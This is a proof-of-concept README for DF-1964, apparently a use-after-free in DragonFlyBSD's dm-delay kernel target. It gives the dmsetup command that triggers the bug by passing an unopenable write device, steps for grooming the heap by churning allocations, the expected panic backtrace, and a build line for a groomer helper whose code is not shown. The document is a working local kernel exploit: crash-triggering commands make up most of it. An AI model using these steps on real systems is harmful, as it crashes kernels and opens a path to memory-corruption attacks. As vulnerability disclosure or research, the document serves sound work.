# DF-1964 PoC — orphaned worker thread UAF on dm-delay write-side init failure

## Build & run

1. Boot a DragonFlyBSD guest with the `dm_target_delay` KLD loaded.
2. As root (or any principal in the `operator` group):
   ```sh
   REAL=/dev/ad0   # any block device that exists
   BOGUS=/dev/nope # must not resolve to an openable block device
   SEC=$(diskinfo -v "$REAL" | awk '/bytes/ {print $1}'); SEC=$((SEC/512))
   dmsetup create vuln-delay --table "0 $SEC delay $REAL 0 100 $BOGUS 0 200" || true
   ```
3. The `create` returns an error (write-side ENOENT) but the read worker thread
   is now orphaned against the freed `tdc`.
4. Churn M_DMDELAY-sized allocations (e.g. create/destroy many 3-arg delay
   tables) until the orphaned thread's `tsleep` ident is reallocated, or simply
   wait — any unrelated `wakeup` colliding with the ident vaddr will trip it.

## Expected output

Kernel panic in `_thread` / `_submit_queue` / `mtx_lock` shortly after step 2,
backtrace rooted at `lwkt_switch → _thread → _submit_queue → TAILQ_REMOVE`.
Even without explicit grooming, the system is left in a guaranteed-latent-UAF
state.

## Build for the groomer helper

```sh
cc -o groom poc_df_1964_groom.c
```